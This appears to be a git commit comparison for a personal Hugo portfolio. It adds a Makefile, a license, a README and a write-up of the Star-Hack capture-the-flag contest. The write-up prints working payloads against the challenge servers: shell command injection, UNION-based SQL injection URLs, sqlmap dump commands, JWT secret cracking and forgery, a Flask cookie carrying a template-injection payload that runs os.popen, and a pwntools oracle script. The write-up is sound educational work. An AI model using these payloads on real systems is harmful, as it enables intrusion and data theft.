Compare commits
2 Commits
063dbaafe1
...
b243dd38be
Author | SHA1 | Date | |
---|---|---|---|
b243dd38be | |||
252a0310fd |
2
.gitignore
vendored
2
.gitignore
vendored
@ -1 +1,3 @@
|
|||||||
/public
|
/public
|
||||||
|
/resources
|
||||||
|
/.hugo_build.lock
|
||||||
|
21
LICENSE
Normal file
21
LICENSE
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2025 Nemo D'ACREMONT
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
28
Makefile
Normal file
28
Makefile
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
docker=docker
|
||||||
|
# docker=podman # if you prefer using podman
|
||||||
|
|
||||||
|
hugo=$(docker) run -u $(shell id -u):$(shell id -g) --rm -p 127.0.0.1:1313:1313 -v .:/src hugomods/hugo
|
||||||
|
# hugo=hugo # if you have hugo installed
|
||||||
|
|
||||||
|
PHONY += all
|
||||||
|
all: build
|
||||||
|
|
||||||
|
PHONY += theme
|
||||||
|
theme: themes/nostyleplease/README.md
|
||||||
|
|
||||||
|
themes/nostyleplease/README.md:
|
||||||
|
git submodule update
|
||||||
|
|
||||||
|
PHONY += build
|
||||||
|
build: theme
|
||||||
|
$(hugo) build
|
||||||
|
|
||||||
|
PHONY += dev
|
||||||
|
dev: theme
|
||||||
|
$(hugo) server
|
||||||
|
|
||||||
|
PHONY += clean
|
||||||
|
clean:
|
||||||
|
rm -rf public
|
||||||
|
|
||||||
|
.PHONY: $(PHONY)
|
21
README.md
21
README.md
@ -0,0 +1,21 @@
|
|||||||
|
# My portfolio
|
||||||
|
|
||||||
|
Welcome to my portfolio source, it uses [hugo](https://gohugo.io/) to generate
|
||||||
|
the site, and it uses the [nostyleplease](https://github.com/hanwenguo/hugo-theme-nostyleplease) theme.
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
Build the site (it uses docker by default to use hugo, if you have hugo
|
||||||
|
installed, you can uncomment the hugo=hugo line in the Makefile) :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make build
|
||||||
|
```
|
||||||
|
|
||||||
|
## Dev mode
|
||||||
|
|
||||||
|
You can run hugo in dev mode using the following command :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
make dev
|
||||||
|
```
|
313
content/writeups/StarHack.md
Normal file
313
content/writeups/StarHack.md
Normal file
@ -0,0 +1,313 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-10-18T14:51:32+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'Star-Hack'
|
||||||
|
toc = true
|
||||||
|
+++
|
||||||
|
|
||||||
|
I participated in the Star-Hack, a CTF in France, but let's not waste more time.
|
||||||
|
|
||||||
|
Difficulty : easy
|
||||||
|
Flag format : `flag{[a-zA-Z0-9_]+}`
|
||||||
|
|
||||||
|
## Web
|
||||||
|
|
||||||
|
The challenges difficulties varied from easy to medium, and could be quite fun.
|
||||||
|
|
||||||
|
### Crawler
|
||||||
|
|
||||||
|
The flag were split in 5 parts, 4 were to be found, and the fifth one was
|
||||||
|
obtainable by providing the concatenation of the first 4 to an API.
|
||||||
|
|
||||||
|
The first four parts were obtainable by looking at the following files :
|
||||||
|
|
||||||
|
* /robots.txt
|
||||||
|
* /index.html
|
||||||
|
* /static/main.css
|
||||||
|
* Another place like cookie or console, I don't remember
|
||||||
|
|
||||||
|
Which leaves us with the following concatenation : `flag{Crawl_Master_20`, the
|
||||||
|
API gives us the final part "25}".
|
||||||
|
|
||||||
|
Flag: `flag{Crawl_Master_2025}`
|
||||||
|
|
||||||
|
### Commands
|
||||||
|
|
||||||
|
This challenge offers us to ping a target by specifying its IP, the character
|
||||||
|
';' is prohibited by a filter.
|
||||||
|
|
||||||
|
As expected, it uses the ping utility, and a simple shell injection
|
||||||
|
`1.1.1.1 && id` enables us to run commands.
|
||||||
|
|
||||||
|
Finally, `1.1.1.1 && find . -name '*flag*'` provides the file name and
|
||||||
|
`1.1.1.1 && cat ./flag.txt` provides the flag
|
||||||
|
|
||||||
|
Flag : `flag{Command_Injection}`
|
||||||
|
|
||||||
|
### Events
|
||||||
|
|
||||||
|
This challenge offers to use an input field to enter a month and retrieve events
|
||||||
|
that happened during this one. This input won't allow us to enter more
|
||||||
|
than two integers, however it is then used in the url query, and no backend
|
||||||
|
check is performed.
|
||||||
|
|
||||||
|
By crafting a basic sql injection, we can retrieve all events with the following
|
||||||
|
URL : `http://[REDACTED]/?MONTH=02' or '-01'='`. (it filters by date, and
|
||||||
|
happens '-01' at the end of the month to obtain dates like '2025-02-01')
|
||||||
|
|
||||||
|
The number of columns retrieved can be found by using a simple union select
|
||||||
|
injection : `http://[REDACTED]/?MONTH=02' union select "a", "b", "c" where '-01'='`, it has 3
|
||||||
|
columns.
|
||||||
|
|
||||||
|
This enables us to get the list of tables, by trying different payloads, we
|
||||||
|
guess it's sqlite :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
http://[REDACTED]/?MONTH=02' union select "a", tbl_name, "c" from sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' AND '-01'='
|
||||||
|
```
|
||||||
|
|
||||||
|
There are 3 tables : 'events', 'flag' and 'users'.
|
||||||
|
|
||||||
|
We finally get the flag with the following request :
|
||||||
|
`http://[REDACTED]/?MONTH=02' union select "a", * from flag WHERE '-01'='`
|
||||||
|
|
||||||
|
Flag: I didn't keep it :/
|
||||||
|
|
||||||
|
### Store
|
||||||
|
|
||||||
|
It was a website with a search input, by trying the exact same basic SQLi as in
|
||||||
|
the previous challenge, we find the query is vulnerable.
|
||||||
|
|
||||||
|
As I couldn't bear a second SQLi, and that sqlmap was obviously going to dump it
|
||||||
|
easily, I went for it :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
sqlmap -u 'http://[REDACTED]/search/?q=1' -p q --technique "BEUT" --tables
|
||||||
|
```
|
||||||
|
|
||||||
|
This extract the table name 'store_secret', which is dumped with :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
sqlmap -u 'http://13.38.0.91:8087/search/?q=1' -p q --dump store_secret
|
||||||
|
```
|
||||||
|
|
||||||
|
flag: I didn't keep this one neither
|
||||||
|
|
||||||
|
### Broken control
|
||||||
|
|
||||||
|
We are offered to log in to the website with 'guest:guestpass'. Once logged in,
|
||||||
|
we get the following JWT to store the session :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
|
||||||
|
```
|
||||||
|
|
||||||
|
Using `jwt_tool.py`, we can get its body :
|
||||||
|
`{"username": "guest", "id_admin": False}`. After testing differents common
|
||||||
|
vulnerability like setting the 'alg' header to 'none', I ended up trying to
|
||||||
|
bruteforce it. Turns out that it worked with the `rockyou.txt` wordlist :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
jwt_tool.py -C -d rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kgf2kBhjtTKfkNGfYVrchv4Q
|
||||||
|
```
|
||||||
|
|
||||||
|
The secret is 'letmein', the JWT can then be tampered to gain admin privileged with the following command :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNfYWRtaW4iOmZhbHNlfQ.370cELTDPe4_w3x6FU4kf2kBhjtTKfkNGfYVrchv4Q -T -S hs256 -p "letmein"
|
||||||
|
```
|
||||||
|
|
||||||
|
This leads to the flag I didn't keep.
|
||||||
|
|
||||||
|
### Obfuscate
|
||||||
|
|
||||||
|
This challenge was interesting, it starts with a very basic SQLi authentication
|
||||||
|
bypass, we are then offered to change our username.
|
||||||
|
|
||||||
|
It's possible to use the username to perform XSS, however it is a dead end. The
|
||||||
|
real goal here is to exploit a SSTI. By using the [payloadAllTheThings' decision tree](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#inject-template-syntax),
|
||||||
|
it is possible to find that the backend uses jinja2 templates.
|
||||||
|
|
||||||
|
However, many inputs are blocked, like those including `__imports__` or `os`.
|
||||||
|
I tried some bypasses, however it was not convincing, and
|
||||||
|
`__builtins__.__dict__` was not accessible for some reason. But by
|
||||||
|
looking around, I found out that we could retrieve the global variables by using
|
||||||
|
an SSTI, more precisely the variable `SECRET_KEY="supersecretforctf"`.
|
||||||
|
|
||||||
|
The username is stored in a flask token, the filter preventing executing shell
|
||||||
|
commands in SSTI is only used when trying to change the username, not when
|
||||||
|
it using the username with a signed flask token.
|
||||||
|
|
||||||
|
By forging a new token with [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign)
|
||||||
|
as following, it is possible to run shell commands on the server !
|
||||||
|
|
||||||
|
```sh
|
||||||
|
flask-unsign --sign --cookie "{'username': '{{ self.__init__.__globals__.__builtins__.__import__(\'os\').popen(\'find . -name *flag*\').read() }}'}" --secret 'supersecretforctf'
|
||||||
|
```
|
||||||
|
|
||||||
|
The flag location is `/flag123aatt.txt`, by using the same process, we print it using cat.
|
||||||
|
|
||||||
|
Flag : `flag{sql_injection_then_ssti_priv_escalation}`
|
||||||
|
|
||||||
|
### IDOR
|
||||||
|
|
||||||
|
### Dev_dev
|
||||||
|
|
||||||
|
## Steganography
|
||||||
|
|
||||||
|
I think steganography is a double-edged sword, either the challenges are
|
||||||
|
interesting and fun, either it is yet another steghide bruteforce challenge.
|
||||||
|
Unfortunately, this CTF is more on the second side.
|
||||||
|
|
||||||
|
### Dive deeper
|
||||||
|
|
||||||
|
Image :
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Well the following command unfortunatly retrieves the flag :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
strings parrot.jpg | grep flag{
|
||||||
|
```
|
||||||
|
|
||||||
|
Flag : `flag{binwalk_unpacked_me}`
|
||||||
|
|
||||||
|
### Investigate
|
||||||
|
|
||||||
|
Image :
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Same for this one, but with exiftool
|
||||||
|
|
||||||
|
```sh
|
||||||
|
exiftool forest.jpg | grep flag{
|
||||||
|
```
|
||||||
|
|
||||||
|
Flag : `flag{metadata_magic}`
|
||||||
|
|
||||||
|
### Explore the image 1
|
||||||
|
|
||||||
|
Image :
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
After messing around with this one, the only thing left is
|
||||||
|
[steghide](https://steghide.sourceforge.net/), and there is a password...
|
||||||
|
|
||||||
|
At least, [stegseek](https://github.com/RickdeJager/stegseek) finds it quickly
|
||||||
|
with the following command :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
stegseek tiger.jpg rockyou.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Flag : `flag{hidden_in_plain_sight}`
|
||||||
|
|
||||||
|
### Explore the image 2
|
||||||
|
|
||||||
|
Image :
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Because once isn't enough, here's exactly the same challenge :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
stegseek sunset.jpg rockyou.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
Flag : `flag{stegseek_cracked_it}`
|
||||||
|
|
||||||
|
## Binary
|
||||||
|
|
||||||
|
The category name is surprising, it's kind of a mix of reverse and pwn.
|
||||||
|
|
||||||
|
### Native guardian
|
||||||
|
|
||||||
|
Source : [app-release.apk](/writeups/StarHack/binary/app-release.apk)
|
||||||
|
|
||||||
|
This challenge ses a shared library in native code, which contains the flag in
|
||||||
|
cleartext. It is possible to extract the APK with [apktool](https://apktool.org/),
|
||||||
|
however, a simple strings and grep on the apk will extract the flag :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
strings app-release.apk | grep -B 1 flag
|
||||||
|
```
|
||||||
|
|
||||||
|
It returns
|
||||||
|
|
||||||
|
```sh
|
||||||
|
3v3rs3d}
|
||||||
|
flag{jn1_4rm64_rInvalid key
|
||||||
|
```
|
||||||
|
|
||||||
|
Flag : `flag{jn1_4rm64_r3v3rs3d}`
|
||||||
|
|
||||||
|
### Simple
|
||||||
|
|
||||||
|
Source : [simple](/writeups/StarHack/binary/simple)
|
||||||
|
|
||||||
|
This is a binary that needs to be reversed, I'm not sure to understand
|
||||||
|
everything it does, but it doesn't matter to find the flag.
|
||||||
|
|
||||||
|
The flag isn't in the binary but in a file on a remote server. In a tcp
|
||||||
|
connection, it's possible to send a string and test it against the flag.
|
||||||
|
|
||||||
|
The test will iterate through the strings and stop at the end of input or at the
|
||||||
|
end of the flag. When sending a wrong input, the index of the first match is
|
||||||
|
returned. This way, by sending `'X' * 23`, we get `22`, which means no 'X' is in
|
||||||
|
the flag, and the flag is 22 chars long.
|
||||||
|
|
||||||
|
Knowing that, I wrote the following script to find the first occurence of all
|
||||||
|
chars :
|
||||||
|
|
||||||
|
```py
|
||||||
|
#!/bin/sh
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
chars = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")
|
||||||
|
|
||||||
|
context.log_level = 'error' # Suppress noise
|
||||||
|
|
||||||
|
host = "[REDACTED]"
|
||||||
|
port = 1027
|
||||||
|
|
||||||
|
for c in chars:
|
||||||
|
conn = remote(host, port)
|
||||||
|
|
||||||
|
conn.recv()
|
||||||
|
conn.sendline((c * 22).encode())
|
||||||
|
|
||||||
|
res = conn.recv()
|
||||||
|
if "22" not in res.decode(): # If char is in the flag
|
||||||
|
print(c, res)
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
```
|
||||||
|
|
||||||
|
This leaves us with the following :
|
||||||
|
|
||||||
|
```sh
|
||||||
|
a b'Result length: 2\n'
|
||||||
|
e b'Result length: 20\n'
|
||||||
|
f b'Result length: 0\n'
|
||||||
|
g b'Result length: 3\n'
|
||||||
|
i b'Result length: 8\n'
|
||||||
|
l b'Result length: 1\n'
|
||||||
|
m b'Result length: 17\n'
|
||||||
|
n b'Result length: 9\n'
|
||||||
|
p b'Result length: 18\n'
|
||||||
|
r b'Result length: 7\n'
|
||||||
|
s b'Result length: 13\n'
|
||||||
|
x b'Result length: 5\n'
|
||||||
|
0 b'Result length: 6\n'
|
||||||
|
_ b'Result length: 11\n'
|
||||||
|
```
|
||||||
|
|
||||||
|
Knowing the flag format, we have that : `flag{x0 in _ s mp e}`
|
||||||
|
|
||||||
|
Finally, we guess the flag being `flag{x0ring_is_simple}`
|
||||||
|
|
||||||
|
|
||||||
|
|
BIN
static/writeups/StarHack/binary/app-release.apk
Normal file
BIN
static/writeups/StarHack/binary/app-release.apk
Normal file
Binary file not shown.
BIN
static/writeups/StarHack/binary/simple
Normal file
BIN
static/writeups/StarHack/binary/simple
Normal file
Binary file not shown.
BIN
static/writeups/StarHack/stegano/forest.jpg
Normal file
BIN
static/writeups/StarHack/stegano/forest.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 2.4 MiB |
BIN
static/writeups/StarHack/stegano/parrot.jpg
Normal file
BIN
static/writeups/StarHack/stegano/parrot.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 97 KiB |
BIN
static/writeups/StarHack/stegano/sunset.jpg
Normal file
BIN
static/writeups/StarHack/stegano/sunset.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 179 KiB |
BIN
static/writeups/StarHack/stegano/tiger.jpg
Normal file
BIN
static/writeups/StarHack/stegano/tiger.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 14 KiB |
Loading…
x
Reference in New Issue
Block a user